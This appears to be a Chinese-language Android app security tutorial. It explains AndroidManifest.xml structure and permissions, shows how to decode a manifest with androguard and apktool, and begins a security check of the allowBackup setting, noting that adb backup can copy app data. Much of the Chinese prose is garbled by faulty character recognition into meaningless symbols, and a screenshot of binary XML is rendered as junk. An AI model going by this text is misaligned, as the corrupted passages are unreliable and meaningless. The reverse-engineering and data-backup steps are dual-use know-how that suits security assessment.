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1.1 AndroidManifest.xml SC{44E A

AndroidManifest.xm| SCAFIE R AR B EL, Mzl 2ftk—An] . 7E android B 5 /44 3R H

(https://developer.android.com/guide/topics/manifest/manifest-intro.html) & XFE5E X AT,
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RVFRITTE, BRI Lok, Hf<manifest>5<application>/& 4% H H g tH I —
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<?xml version="1.0" encoding="utf-8"?>
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<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.example.bmi" 44 #x %% [H]

android:versionCode="1"  JF & & 1 /K5
android:versionName="1.0" >fitfiff FH & & W R A5

<uses-sdk
android:minSdkVersion="8" L3t %¥ SDK Wi A
android:targetSdkVersion="21" /> HARhi A<, 5 5% WE T A minSdkVersion

<application
android:allowBackup="true" J& 75 fCVF %%y
android:icon="@drawable/ic_launcher" App Icon
android:label="@string/app_name" App 44 #KX
android:theme="@style/AppTheme" > App X 1%

<activity activity, service, receiver, provider »& 41 % application i 4 N FEI H

android:name=".MainActivity" activity % %%, B] I manifest package & 7£—ifZ
android:label="@string/app_name" > APP JT )& J5, ‘B ~AfE T 5 i) 4 R

<intent-filter> activity #1E 5 1

<action android:name="android.intent.action.MAIN" /> .MAIN 7R~ activity /& APP 3E X\ &

<category android:name="android.intent.category.LAUNCHER" /> 7~ 7E W F2 71T 3R

</intent-filter>

</activity>

</application>

</manifest>

2. FRHE AndroidManifest.xml SCHERE .

<?xml version="1.0" encoding="utf-8"?>

<manifest>

<l- FEARE -->

<uses-permission />

<permission />

<permission-tree />

<permission-group />

<instrumentation />

<uses-sdk />

<uses-configuration />

<uses-feature />

<supports-screens />

<compatible-screens />

<supports-gl-texture />

<l-- BFHEE -->

<application>

<l Activity At & -->

<activity>

<intent-filter>

<action />

<category />
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<data />

</intent-filter>

<meta-data />

</activity>

<activity-alias>

<intent-filter> . . . </intent-filter>
<meta-data />

</activity-alias>

<l-- Service it & -->

<service>

<intent-filter> . . . </intent-filter>
<meta-data/>

</service>

<l-- Receiver I & >
<receiver>

<intent-filter> . . . </intent-filter>
<meta-data />

</receiver>

<l-- Provider L& -->
<provider>
<grant-uri-permission />
<meta-data />

</provider>

<l-- FIRRERE >
<uses-library />

</application>

</manifest>

1.4 X2 5E KB

M BT AR s, FRATAT LA B Android FL B SR XMLE AREIRIE S, B4 XML Fr2E

HAS RS S, RE 7 I B 2 BHTRAEAR S R JE b, T i FR AT 42 B8 DL ic B SRR 45

WS JE T SR 2 2] Android it B SO EE R SRS V.

1.7t% (Elements)

TEFTE 6 & A <manifest>fll<application> & 0 75 1), ‘E 115 B L AFAE, HRGEHI—

Ko MR—DMRROETHHA TR, LIAEL TR EEREEHE. & TR—ZRM

JLE, XETTREEEIRFR . #lin<activity>, <provider>fl<service>7 G % AJ PLLAF

AT FF VR o XA RIS A SR B PR 451 4«

® —<activity-alias>J G & W AUE i <activity>T & — P4 o

® <application>JT 2 W2 & BT 1) B¢ J5 — /N JG & <manifest> [ TG & . 5] 15 Pi</application>
45 RBR 2 WA IAE </manifest>4h AR 2 1 2RI H

2wtk

TR R, FrA I 8 VAR A2 Pk ), H 2 AT 28 Ja M A2 0 Zi W B 1K o DA e 3R ] ASE I L B I,

K& 1R TG E <manifest> & V2 4h,  Frfy Hodt oo 2 J@ PR 4 742 BL android: #4719 ;
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E N KA TAERITGER AN AL SDK R4, miIRE CE k4, YA &KL
A4, WHRZY application &b T F—#HEad, nJDIEEREN “.7

ENLiESE2

VFZ ICR A NT Java X R, QFENHETF AL (<application>Tt %) It HR M H T A
T3 (<activity>) , flkF5<service>) , | #EHEULAT (<receiver>) AN AL (<provider>) ) .
WRIRE X —AF3, WERE 2SS NHAMESE (Activity, Service, BroadcastReceiver £l
ContentProvider) F-2RJ2IHid name BMERA I, 24 FRLAEAIE BRI LR Fl0,
—™ Service TR REH I T

<manifest ... >

<application...>

<service android:name="com.example.project.SecretService" ... >
</service>

</application>

</manifest>

4.2AH

IMRFEATRA T — DU, XA o R D auE R # 5 H75 JOR U HIEA B I B 24
BT, HABER 2 A BUEI— R MESAE — A w s Bl —1 intent-filter W] LL{RST 24>
action:

<intent-filter ... >

<action android:name="android.intent.action.EDIT" />

<action android:name="android.intent.action.INSERT" />

<action android:name="android.intent.action.DELETE" />

</intent-filter>

5. 5 Y5 AH

FLeJa Mt B T R g T BOE, 10— TR SRR R AT RS o 3K 8 1k XA L 12 AN B8 Y B
F AT A AL AN E o BURAE DL T A R R

@[package:]type/name

I R BRI R P AE A — AN, AT LA IS B AL PR R R — M B, 5 4
T H AT E N R, AR R E BRI AR IR BR . B

<activity android:icon="@drawable/smallPic" . .. >

FREFE AL 2R Rk, EEPIEGE “2 7 A “@” -

?[package:]type/name

R BHRECE A E AU “android” BN IR F AL I A4 FK

6. 74 Hi fH

15 @ A N 75 B (R , 2B L SSUR R (\\D SR3 SCFFF, I In\\n 447 77 B0\\woox 36
7~ Unicode 715«

7. 2 B e gR

IR P Rz O AT, aniEsh, RSS AT RS R Ontent) 0% . = B2 Intent #
BT FRAER—HEE (N5, BIEERATHIEE, NAZHRAT R A B350 LSS
M ARG HE 4o Android FR LR F — AT DA N B HE B A0, iR 2, WS s A B
S, IR HALIGLS Intent X R
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DEAESHE e, B IES R AR KR . 824 B AR A0 1 = B E0E iz 4
i, BRI yE AR ASERAE T o Bl 44 PR g E H A S B AT DUCE AL ] DLd e 44 1 i g
A — NS AT

8. bR FIAR 2

V2 LR A BIbsFbR 2@ M, v LA P R —ANNEIFR RSO . — 23845 — AN B R 4
wIE N, WATIERERE B EOR . Blin, Z<permission> CR A TH X =R, LAME 2
] F P R 5 4% T 3 R e BN AR e O AR I, — A BIRR AR AR, YRR A4 AR LA L E T s
B HR A RIS .

FERERME LT, RS To 3R B E A AR AR 0 B A 5 4 10 7 70 3R B BRE icon A1
label B & . K, <application>7C 3 W30 E B ISR AARAE fe B AN B FI R8P LA (R BR A I bR A
FREE. i, MM (W<activity> 02D W E B EIFR AR 2 B 4 <intentfilter> TG &R
FERABLE . IR —><application>TC R BE | —M5a%, HE —MNESIAE 1 E BRI IES
A TR PP bR 2 AL s B AT B I AR A%

i P I U A B I AR AR RS R S LA IS F - IR e JE RS R AT 1) D RE I 2H
. #lan, H4 android.intent.action.MAIN A android.intent.category.LAUNCHER 15 & [1]3 i€
Al TE SN O A BN AR RS . WEE U, NAZEN IR B S B, A JE RS
H B IR AR 2 SRR A R B ds

9. 8K

R 2 PR A R AR ) — 0 23, B0 FE B b I B 07 I (R PR o BRI D 1 R4 W] BE B 1R
FH DA i s 45 8 FH P AR 56 1Y) S0 B et AnA RS

FEAN LIRS e ME— AR AR IR PR W R AR A3, LT /2 Android 5& SCH)—SE AR «
android.permission.CALL_EMERGENCY_NUMBERS

android.permission.READ_OWNER_DATA

android.permission.SET_WALLPAPER

android.permission.DEVICE_POWER

Dhag R geil i — MR ARARY o an 2R N AR e /5 E 07 19 2 AR R I DI e, W& A 2507 B e
s Z A ] <uses-permission>iF H i I TC R IR . BN HIRE PP AR Ve sk BN, 22 RR P
TR T A A 2B N FH AR UE A5 IRIATLAG) DA R AE LSe35 T 360 1) B P Reff o 2 5 4% T i SR AL
PR AR VFAIHAR T, SRR PPt ol DAGE T 32 AR 4 BT BE . an RIEA, 2l 7 i IX L 1)y g
R, AN AT

I FH AR 7 AR AT LdE I AR AR B R4 & nT DU B Android 5& XCPATATALRR 40
android.Manifest.permission FH H At 8 FH S 7 41 H B3R B G B2 AT LA € X <permission>
TR A TORTHIRLR . B0, 3B E B R fR A

<manifest...>

<permission android:name="com.example.project.DEBIT_ACCT"... />

<uses-permission android:name="com.example.project.DEBIT_ACCT" />

<application .. .>
<activity android:name="com.example.project.FreneticActivity"
android:permission="com.example.project.DEBIT_ACCT"

>
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</activity>

</application>

</manifest>

BER, EIXAMIFH, DEBIT_ACCT R AMNAL A& 1 FH <permission> G R R A= B, AT LB
WAEH T <uses-permission>TGE . A T A SN2 R IE SN, B0 STE SR AE H 28 AR e 1)
Tl 2 A, BPSTR R AR AR S g 7 IR

1.5 BURBHEER X

ACCESS_CHECKIN_PROPERTIES: fuiF%} checkin 4 e (9% “properties” #EAT52/5 U i),
DABE 24 b A% R4

ACCESS_COARSE_LOCATION: 0 ¥F 5 FH 7 1) K HEAL &

ACCESS_FINE_LOCATION: Fo¥F I FH 7 il K i 1 &

ACCESS_LOCATION_EXTRA_COMMANDS: fC¥F N A2 7 15 8o A7 B R LR P a2 o
ACCESS_NETWORK_STATE: fCVF S FHFE ST U In] 5 5¢ M 45 R4S B,
ACCESS_NOTIFICATION_POLICY: 5 5215 [ 388 0B 19 N F A2 7 AR 1A RR .
ACCESS_WIFI_STATE: o VF N T U7 I ¢ Wi-Fi X 2% {5 B o

ACCOUNT_MANAGER: fu V% F #2711 A AccountAuthenticator.

ADD_VOICEMAIL: R VF N A2 7418 & A I 2 R g

ANSWER_PHONE_CALLS: o ¥ 3 FH BT Sk £

BATTERY_STATS: JuvFM HAE U &L b S iHE B

BIND_ACCESSIBILITY_SERVICE: AAZiHH a 3K AccessibilityService, Uik A RG] LAghe
FE

BIND_APPWIDGET: £t I FEF 45 Jf AppWidget AR 55 W/ B FH A 5 7] LA 7] AppWidget [
BIND_AUTOFILL_SERVICE: AZHiH1 a B3R AutofillService, PARifE R A R4 0T LAGEE e,
BIND_CARRIER_MESSAGING_SERVICE: iX ™ i f /& fE API ) [ FH| 23. BIND_CARRIER_SERVICES
K&

BIND_CARRIER_SERVICES: V45 E 212 5 7 M A2 7 o I Ik 55 1) R ae i FEKs B A LEAURR
BIND_CHOOSER_TARGET_SERVICE: 4ZjifH a ZE3K ChooserTargetService, PARfifR H A R 50T LA
e e

BIND_CONDITION_PROVIDER_SERVICE: @ ZiifH a %K ConditionProviderService, VA#fifR R A
ARG UG RS .

BIND_DEVICE_ADMIN: 20 H & & &g 2k, UfR A R LS L T H.,
BIND_DREAM_SERVICE: 4AZfif1 a % 3K DreamService, PLHifE R A 2487 LAYRE 28 .
BIND_INCALL_SERVICE: #AZiiH a B3R InCallService, VAR R A & 4] LY E #E .
BIND_INPUT_METHOD: % 4iH a Z 3K InputMethodService, VAR A H RGa] LAGEE SIS .
BIND_MIDI_DEVICE_SERVICE: 4 a 3K MidiDeviceService, LATfi{# RE RS n LGS 5
o

BIND_NFC_SERVICE: #AZIESK HostApduService X OffHostApduService iR X A R 4: 1] LSS
SE FE

BIND_NOTIFICATION_LISTENER_SERVICE: @7 a #23K NotificationListenerService, LAffifR A
BRI E R e .

BIND_PRINT_SERVICE: 4AZfifl1 a 3K PrintService, LATfi{f RAE RS0 LLGLE 3.
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BIND_QUICK_SETTINGS_TILE: ok AT 46 € 258 — 77 Pk i B K,
BIND_REMOTEVIEWS: %4 a 5K RemoteViewsService, LATfifR A5 R4 A LIgEE SIS .
BIND_SCREENING_SERVICE: 471 a 3K CallScreeningService, LAfifR R 45 R4 7] LIS E 5
o

BIND_TELECOM_CONNECTION_SERVICE: @AZiiHH a #£3K ConnectionService, AR A A R4t
A AR E BE .

BIND_TEXT_SERVICE: 44 TextService %K

BIND_TV_INPUT: % 4iifiid a TvinputService SRH{FE RAE RS T LLGEE T .
BIND_VISUAL_VOICEMAIL_SERVICE: #2421 %K, VisualVoicemailService LAfi{r R A RG]
PAGEE B e .

BIND_VOICE_INTERACTION: @47 H a 3K VoicelnteractionService, PLHATR R &40 7] LLGEE
FE

BIND_VPN_SERVICE: X4 a 3K VpnService, VAR RA R %G n] LR E FIE .
BIND_VR_LISTENER_SERVICE: i1 a B3R VrListenerService, Afiff {5 R4t 7] AR E F)'E .
BIND_WALLPAPER: 4 a 5K WallpaperService, AR R A &4 0] A4RE 28 .
BLUETOOTH: 0 ¥F N A2 1y i 42 B e o) (1) W5 4 045

BLUETOOTH_ADMIN: o5 A2 5 & IR AN O 36 4 8 4% o

BLUETOOTH_PRIVILEGED: FVF I FHHE 72 H 7 28 BRI O F RO I 4 &, I e vrek
A b R E YT ) B ST ]

BODY_SENSORS: JuvF R FH A% 5 7 Il FH P FH Ske iy 2 £ 44k P 26 A7 400 11 A% a3 IR s, 491
BROADCAST_PACKAGE_REMOVED: FuiF M FFE /7] #8 BFHFE 76 Ok M B e it o
BROADCAST_SMS: FoiF M F 2 /7 #4245 e 18 1

BROADCAST_STICKY: JuVF R FHRE ) ffkli 1 =

BROADCAST_WAP_PUSH: fuVF N FHFET T # WAP PUSH Y4 i %l

CALL_PHONE: FCVF R R A o % T ANl i 3k 5248 A P T £ B - A A i o
CALL_PRIVILEGED: 2 ¥F N FHAE 5 MENUATE AT B 550, S S50, M7 iE Dialer H
JUFE, P AR IEE A

CAMERA: 5 ZHEWE U7 I FHAL I 4

CAPTURE_AUDIO_OUTPUT: oo FH F2 4l 3 2 A HH
CAPTURE_SECURE_VIDEO_OUTPUT: 3 VF N F A2 4 35 22 A M A H
CAPTURE_VIDEO_OUTPUT: 7o ¥4 M. F 2 /- 3l S A0 Ay HH o
CHANGE_COMPONENT_ENABLED_STATE: fu¥F N AT H G HEF A4 CA2E KD &
A H

CHANGE_CONFIGURATION: FVFNHEF S SR E, WX E .
CHANGE_NETWORK_STATE: 0 VRN FHFE 5 iU 48 3 BR A o
CHANGE_WIFI_MULTICAST_STATE: VR FHFEF#EN Wi-Fi ZHL3ER 0.

CHANGE_WIFI_STATE: F0VF B FHAE /7 B 0 Wi-Fi ZEHRRAS

CLEAR_APP_CACHE: FuiFMNHFEFIER W& LA O 238 N R T N84T -
CONTROL_LOCATION_UPDATES: Ft ¥ )i F /25 F W& WL AL B 58 s 50
DELETE_CACHE_FILES: fUVF N FHFE 7 M B 28 47 S04

DELETE_PACKAGES: 7o VF 3 FH 2 /3 I Bk A A4,

DIAGNOSTIC: fu Vi 27 RW 2 Wr 53 .

DISABLE_KEYGUARD: VN HEFEHEERTET, MR EALE.
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DUMP: Fu¥F N AR T M R GR35t 2 RS 5 B o

EXPAND_STATUS_BAR: fu ¥ M. HF2 /7 T Bl dfr SRS+ .

FACTORY_TEST: {E il ik B AR 71247, BA root I 431817 -

GET_ACCOUNTS: Fu¥F 7 I K /= AR 45w Rk = 31 % o

GET_ACCOUNTS_PRIVILEGED: e ¥y I Bk F AR 45 HH ok ;- 51 32

GET_PACKAGE_SIZE: Ju/F B FH A2 7 4 AT ArT 6048 FH (1) =3 1) o

GET_TASKS: XAMHEUAE AP 25 21 H g 5F H o« AN PAT

GLOBAL_SEARCH: ZAU R AT T WARRALE, PAARraRE R RZ5 v H .
INSTALL_LOCATION_PROVIDER: O ¥F N R A B IR ILAR 7 e B BB A o
INSTALL_PACKAGES: 0 VF N FH 2 5 %2 25 4 (-0,

INSTALL_SHORTCUT: fu¥F N FHFEFTE Launcher H1 2235 PR 77 5.
INSTANT_APP_FOREGROUND_SERVICE: ¥ BV 5 FH 61 2 B 6 IR 55

INTERNET: Fo Vi R 7 4T HF I 28 =47

KILL_BACKGROUND_PROCESSES: ft ¥ 21 killBackgroundProcesses(String).
LOCATION_HARDWARE: 0 VF N A fEME A fd AL B DIRE, {9140 geofencing apis.
MANAGE_DOCUMENTS: 07 I F A% 77 8 B SCR (R U7 ), 1880 2 SCRSIE B 1 — 38 79
MANAGE_OWN_CALLS: 7o ¥ it 5 5 P ¥) ConnectionServiceAP! & #i [ L1 P AL [ IR 1Y |37
T

MASTER_CLEAR: AEH T35 = NHERF .

MEDIA_CONTENT_CONTROL: o ¥ . F 2 7 18 1 78 36 W0 L Py 2% 9 42 ol L B i
MODIFY_AUDIO_SETTINGS: fC¥F I RS ol 4 a5 Ak B .

MODIFY_PHONE_STATE: RVHEIHIEIRE - FFHL, mmi 5§
MOUNT_FORMAT_FILESYSTEMS: VP S0 R Gits b Nl B s 47-4i% .
MOUNT_UNMOUNT_FILESYSTEMS: ¥ 2 35& FHE F A 2 4t LLREAT AT A2 B A7

NFC: FoVF R il NFC 04T 1/ 0 #:4E

PACKAGE_USAGE_STATS: fuvF M HFRFUEAMF GG R, AR EMREHEH AP,
WA RUEE R E” MR TR,

PERSISTENT_ACTIVITY: I 207E API 2251 9 v O 57 H - SLTh e 75 LU 5 MR, T A LA A .
FOVF L AR P8 S B Rt

PROCESS_OUTGOING_CALLS: fo¥/F i FHFE 7 7607 0] 25 IEAE$R 4T M B iE 5, IRk £
WY 8 5 [ ) HAth 5 A5 B 58 4 R rE Y

READ_CALENDAR: fu ¥/ R 7 s A 7 () H T e

READ_CALL_LOG: fu¥F M FHFE/7 s HUH F s g il % .

READ_CONTACTS: fuv/F I H A2 7 s B 7 B = N 58 .

READ_EXTERNAL_STORAGE: UV I FE FF M AN A7 it % 152 B .

READ_FRAME_BUFFER: A VF N F AR 7 HEAT bR we k], 58 —Mctth,  mT DA 1) ii 2% v IX 0040
READ_INPUT_STATE: I 307E AP 201 16 H 4 5¢ o 8 BEACBR T API S48 B
READ_LOGS: Ju¥r i F A2 /7 S IR 2R 1) &R 4 H & S0 fF

READ_PHONE_NUMBERS: FVFisz U & IG5 15,

READ_PHONE_STATE: fu¥F R i Ml FEITIRAS , QI &4 B0 HIE S hd, A Fi i 53 M 245 2,
AT AR] IEFE BEAT B BRI IR ZS A S PhoneAccount TE 1 2% bV A RAE (AT 51 36

READ_SMS: fu i/ W I F2 7 s B AS o

READ_SYNC_SETTINGS: J¥FN FAE 5B A2 W & .

READ_SYNC_STATS: fuiF M IR F B A it 5 B o
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READ_VOICEMAIL: foiF M R PRI R G B S5 46 .

REBOOT: 5 £ H ¥ 5 5l 4% o

RECEIVE_BOOT_COMPLETED: fu¥F . H #2 /7Yl £ ACTION_BOOT_COMPLETED fE % %t 5¢ A 50
Ja I HE N AR T

RECEIVE_MMS: FuVF I FHAE 7 I A AE NTRAS -

RECEIVE_SMS: Fo ¥/ R 7 U R A5

RECEIVE_WAP_PUSH: VIR HFETHU WAP H#EIEH .

RECORD_AUDIO: ¥ I FH R 7 il & A0 o

REORDER_TASKS: fu ¥/ . I #% 7 58 A 5% 1) Z T o
REQUEST_COMPANION_RUN_IN_BACKGROUND: 7t ¥FWt 4% N F1E 5 61847
REQUEST_COMPANION_USE_DATA_IN_BACKGROUND: V8 4% N FH 7£ J5 & 158 F Bdh .
REQUEST_DELETE_PACKAGES: UV FH A2 F7 15 SR A i 22
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS: ¥ 1] H1 1% 2 i 45 A 44
ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS.

REQUEST_INSTALL_PACKAGES: Jt N AR iE R 22 B 8-

RESTART_PACKAGES: I %U7E APl 25| 8 "1 .37 H restartPackage(String) » ANFSCHF API.
SEND_RESPOND_VIA_MESSAGE: FuVFRFHAET CFEAE) [m) HoAt S R 7 &G 3K, DAALEE R
F, ) ) P e 82 36 ek v 2 B A o

SEND_SMS: FVF R 7 KIEFAE

SET_ALARM: Fu¥FMN HFE/FT # Intent A H /7 & B 4P

SET_ALWAYS_FINISH: JoVF I FH R 7 42 il J& 5 75 J5 6 T3 I 3 I 7R 78 Bl
SET_ANIMATION_SCALE: f& 44 &) 2/ il 45 i K 1~

SET_DEBUG_APP: Fic & M F 2 7 iE4T Tt

SET_PREFERRED_APPLICATIONS: XM #7E API 2l 7 i #F . AFHAH,
addPackageToPreferred(String) 4 X 1E4H(E B o

SET_PROCESS_LIMIT: JuVFN R % & 1T LU/ i KEE CRFZERD N HEP R .
SET_TIME: fu¥FMNHRT & E RGR .

SET_TIME_ZONE: RVFNHEFRE RSN X,

SET_WALLPAPER: Ju ¥ FH % B REAR .

SET_WALLPAPER_HINTS: o7 M. F 2 /7 1 B BEAR$E 7R » SIGNAL_PERSISTENT_PROCESSES: U
VN R PE REE 5 RIE BT A R AR

STATUS_BAR: FVFRIFHREFFIIF, SCHEEE RS K H B
SYSTEM_ALERT_WINDOW: o/ M. Ffff R AU % [1 TYPE_APPLICATION_OVERLAY, /R
TE A AR FH AR 7 0 TR o

TRANSMIT_IR: FRVFAE FH & & LA RS 4 CAnRA s .

UNINSTALL_SHORTCUT: AP 37 #: LA FR

UPDATE_DEVICE_STATS: VR T Bk &R iHE R

USE_FINGERPRINT: 3 ¥F 5 F i F 48 SUig {4 .

USE_SIP: FUVF R FHAZF AL SIP A%

VIBRATE: fUVF MR Bh#% -

WAKE_LOCK: fu¥F1# Fl PowerManager WakeLock i[5 11 Ak B 28 i3 N B RROIR 25 B 57 552 A5 IS .
WRITE_APN_SETTINGS: Fe¥FM HFEFE N apn % H .

WRITE_CALENDAR: J0VFR AL 5 AN - 1 H P %

WRITE_CALL_LOG: RVFNHREFEN (AL H P I8 S id & 50 .
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WRITE_CONTACTS: fui/F M HFEF 5 AN BB R AN Eds .
WRITE_EXTERNAL_STORAGE: o ¥F N HFE 7 5 NAMB A7k o
WRITE_GSERVICES: fu M H1E M Google i 55 i & .
WRITE_SECURE_SETTINGS: fu¥F M HET I EE N &2 KRG E .
WRITE_SETTINGS: RVFNHBEF NS N RAKE .
WRITE_SYNC_SETTINGS: VN HBEFEANFISEE.
WRITE_VOICEMAIL: fo ¥ B FE A R B R S I A B S S

1.6apk SCF3REL AndroidManifest.xml 3C44:

1M apk 3L
T e TR 2N apk SO, 8 g B BRI A R R], R DD S 2 AE apk H sk AEAE—
> AndroidManifest.xml 3CfF, @i 1 frox. MG H A IE S4T0HZXf G, HNAEN
ALAG, ik 2 frow.

F0E (E) » work » I - 10
ZiE  FEsR

BFR ZR el KW
I assets 2017/8/12 17:47 prg =
I com 2017/8/12 17:47 pralee=s
) vax 2017/8/12 17:47 g ==
I lib 2017/8/12 17:47 AGEE
I META-INF 2017/8/12 17:47 pralas
I org 2017/8/12 17:47 prg ==
I res 2017/8/12 17:47 prgies
{. ¢ AndroidManifest.xml 2015/12/24 18:14 XML 3784 104 KB |
classes.dex 2015/12/2418:10 DEX 324 5,842 KB
flashtransfer 2015/12/2418:14 =% 141 KB
5 jetty-dir.css 2015/12/24 18:14 ESERFE0E 1KB
keystore 2015/12/2418:14 7% 2 KB
realm_properties 2015/12/24 18:14 7% 1KB
resources.arsc 2015/12/24 18:14 ARSC 324 254 KB
webdefault 2015/12/2418:14 =75 23 KB
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(2 Exwork\pm I 1 oi\anifest x| - Notepad+ +
SCHF) REB(E) #BRES) MA(V) RBN) E\ESL RE(T) IE©O) 7—(M) EFR) BEP) BOW) ?

o

& nev IR -

) s s B [a] |anbg| % x|C Bir1E@Ezh=®| @ w

[ androiditanifest. mu:!|

NULH

EINULI(N
(INULEINULEINULANULEWMNULEMNU LN U L AN U LENU LEINU LBINU LN

_mmﬁm«m&zm‘avx»:crnﬁLma

| ULBINUTEINU 1
ENULJ TL UL mNO NTT m{NU Ll
NUL UL LE %%ﬁlﬂﬁﬂ%nﬁlﬂiﬁm
%ﬁﬁ%ﬁﬂﬁﬁﬁﬁﬁ-ﬁiﬂ%%%ﬁﬁﬁﬁ%m
F2ANU Ly N U LESANU LEANULERINU LN U LESINU LEZIINU LN U L EEANU LEEINU LESSINU LEFANULLEINU LLEANU LEIIN U LEANU LEZINU L RSN U LN ]
E2NU LR INU LIVANU LERINU LT EINU LEEINULEEINU LESINU DERN U LEEN U AN U LESINU LEEINU LESNU LEINU LNVANU LEZANU LININU LEANT
INULEIING LEINU LESINU LN U LEANU LAINU LN U DIEINU D RZEN U LREINU LEEINU LEANU LEEANU LIENU LN U LEEANU LEAINU L EEINU LN U L
INULEEINU LEANU LN U LEANU DEANU LESANU LB AN U LN U LVEINU D ESENU LRWN U LEZAN U LEEN U LRNU L AN U LHEIN U LEEN U L INU LD SNU L

NULEANU LHIEINULEZINU LE AN U LEZ2INU LB INU LESANU LESINU LIZANU LN U LEZINU LEFNU LB INU LBTINU L EANU LN U LGN U LE-ANU LEAN U LA
INULEANU LFAANU LESN U TSN U LEAAN U LA FPANULIANULMAINULMSAN INUTMEINULFANULESINU LYZENU LHEINU LEENU N U Ly

INULES QU LEOANU LN U LESANU LEAINU LEZNNU LESEN U LEZANU LEEANU LN U LESINU LEEIN U LPEANU LEZANU LN U LERINU LEEIN U LEAINU T AN U i
[NULESANULGANU AN U LEZANU LEEINU LEAINU LEAN U LVEANU LESIINU LEZANU LERINU LEINU LEZANU LESNU LEANU LEEIN U LEZNU LEEANULJZENU L
INULFEANU LERIN U LN U LEANU LEGNU LEZINU LEAINU LESINULEAINU LEINU LEEANU LESINU LN U LEANU LEEANU LEFAIN U LETINU LERINU LEEINU LE]
INULEANU LN U LEEINU AN UL RSN U LEINU LEEINU Lz INULEANULEINU LERNU LEEINU LEEINU LN U LREINU LN U LN U LgalNU LR ZANU LE
ersionCodeNiiid¥fversionNamelliid

minSdkVersionliBMBtargetSdkVersion il

anyDensi tylliiB@dl argeScreens il

normalScreensiliid@@smallScreensNiiBXeNEn ame Niidiila 11 owBackupiiiiB

configChanges NN conNUBMW1abe il largeHeapNiIAENe)theme NiidieilscreenOrientationiiiiB
launchModeNiABEElwindowSof tInputModeNMilBi#BhardwareAcceleratedMilBEBexpor ted NMilBEeRhos t NI
pathPrefixiIINEEs cheme NIENOvaluelil¥Mau thori ties iiBEHABenabledEBEARproce s sNEIBBAe xcludeFromRecen ts B
NEP@EStaskAffini ty i

permissioniiiid

persistentMilEEresourceMildEiAdandroidfii*http: //schemas.android.com/apk/res/android
ERERNEREARpackageMiBEBnani fes t M Ncon . infinit.wostore . ui NEAENG)5 . 0 . 6MIERuses - sdkNEABMBsupports-scr

K 2 SO LY

2./ | androguard #EATH: 14

androguard T DL #0H iRAS, AT LLUTR 4 1.9 WA,
https://github.com/androguard/androguard/archive/1.9.zip

# AndroidManifest.xml S & il £ androguard H %, Al H K2
PentestBox-with-Metasploit-v2.2 *F-& . | E:\Tools\IiX V- &
\PentestBox-with-Metasploit-v2.2\bin\androidsecurity\androguard H 3% F{f H iy :

androaxml. py —i AndroidManifest.xml —o new. WoCloud. AndroidManifest. xml

BV AT RS P 25

1.7apktool X% ¥ apk

R T8 He 48 SO B R 2 S BUE 70 X R & iy, PRt 2 I ELAD, 200d 4 196 1) SO A
ATUARGF AT &R, T4 apktool #HT & 4n apk F2/7, HATRCR W NEFIR.
1. F# apktool. jar
https://bitbucket. org/iBotPeaches/apktool/downloads/apktool 2.2.4. jar
2. % — NI AEAE A apktool. bat
@echo off
if "%PATH BASE%” == ”” set PATH BASE=%PATHY%
set PATH=%CD%; %PATH BASE%;
java —jar —Duser. language=en "% dpO\apktool. jar” %%
3. REmEFERET

(1) E#H java #H47 R 48i%: java —jar apktool. jar d test. apk

(2) M bat JAAATHPE: apktool —f d test.apk //% 75 O B R FREFF LI H 3%
apktool d test. apk
¥ apktool. bat il apktool 2.2.4. jar fE[A—H, H T apktool 2.2.4. jar HFEE
fir 4% N apktool. jar
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:\Tools\apk\apktool>java -jar apktool.jar d

: Using Apktool 2.2.4 on u’ : :
: Loading resource table...

: Decoding AndroidManifest.xml with resources...

: Loading resource table from file: C:\Users\jhon\AppData\Local\apktool\framewo
k}g.apk

: "Regular manifest package...

: Decoding file-resources. ..

: Decoding values x/x XMLs...

: Baksmaling classes.dex. ..

: Baksmaling classes2.dex. ..

: Copying assets and libs...

: Copying unknown files...

: Copying original files...

23_1.apk

E
I
I
I
I
-
I
I:
I
I
I
I
I
I

1.8AndroidManifest.xml ER A 15 B IETH

1.0 B O H R ERIA I B allowBackup XUfSE
(1) Za KA

Android API Level 8 J¢ H: DL F Android R &ifdfit 1 9 B RS 5 £t () & AR Thie, 1k
Dhge o kg TN HFE ' AndroidManifest.xml SCA4H ] allowBackup JEPE{E, HJE
P ERIAE True. 24 allowBackup #rEN true B, F 7 EIA]IE L adb backup 1 adb restore
K HEAT X N B 1 & A AR, X ATRE Aok — @ % 2 M. M B ZBIEE N true,
adb backup VLT —ANEEHEFT T USB YK 3¢ 1 A M Android F=HLH & il 57 FH £ s 1) 411352
— BN B &M 25, FrA MBI E AT RIS adb restore 5 VFH AR E — A
PR SR CRI &4 1 S 20D SRS S R e B s B0 . DRt 45— AN H 28
Wty Ja, P RIRTEHAR Android FHLEUREILES F2ede R — NN, PLAEERE 1%
B N EE BRI & b, AEZ S EFT &S B AT Pk 2 2 440 10 8L R 7 RS -
XTHATKRZH TR, — BAEZNE, 55BN NEHE. ME. QiR E R,
T A5 S URAE Bt 58 5 WK & A AR P AE B THL KRS, T LB BT IS R A S A O
FIRM AT AT ESAT ) 55 538 0 =k

(2) FEME

Android AP 52§ 8 (Android 2.2-2.2.3) LK BL ERSG, HAETA KIS RGHZHW. T
25 i Android API ZE 2] N 4% BB F Gt DL S 44 FRGE IR ) B AR 44 K«
API %544 1:  Android 1.0
API %4% 2:  Android 1.1 Petit Four  f£30/NERE
API %62 3:  Android 1.5 Cupcake ZXAMEEE
API %54 4:  Android 1.6 Donut &l il [
API Z2 5:  Android 2.0 Eclair A UF
API %25 6:  Android 2.0.1 Eclair At
API %25 7 Android 2.1 Eclair  fAf
API %:4% 8. Android 2.2 - 2.2.3 Froyo AR
API %625 9:  Android 2.3 - 2.3.2 Gingerbread £/
APl %£2% 10: Android 2.3.3-2.3.7 Gingerbread
APl %52% 11: Android 3.0 Honeycomb 14§ i
APl %52% 12: Android 3.1 Honeycomb 1§ i
APl %525 13: Android 3.2 Honeycomb 14§ i
APl Z52% 14: Android 4.0 - 4.0.2 Ice Cream Sandwich  ¥KJ#%& =BG

&
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APl Z£2% 15: Android 4.0.3 - 4.0.4 Ice Cream Sandwich UK =R
APl %52% 16: Android 4.1 Jelly Bean F¥ 5.
APl %£2% 17: Android 4.2 Jelly Bean F¥ 5.
APl %524 18: Android 4.3 Jelly Bean F¥ 5.
API 22 19: Android 4.4 Kitkat #7535 7% /148
API 252 20 : Android 4.4W KitKat with wearable extensions #4515 o /1 ¥
API 4% 21: Android 5.0-5.0.2 Lollipop  #ei#
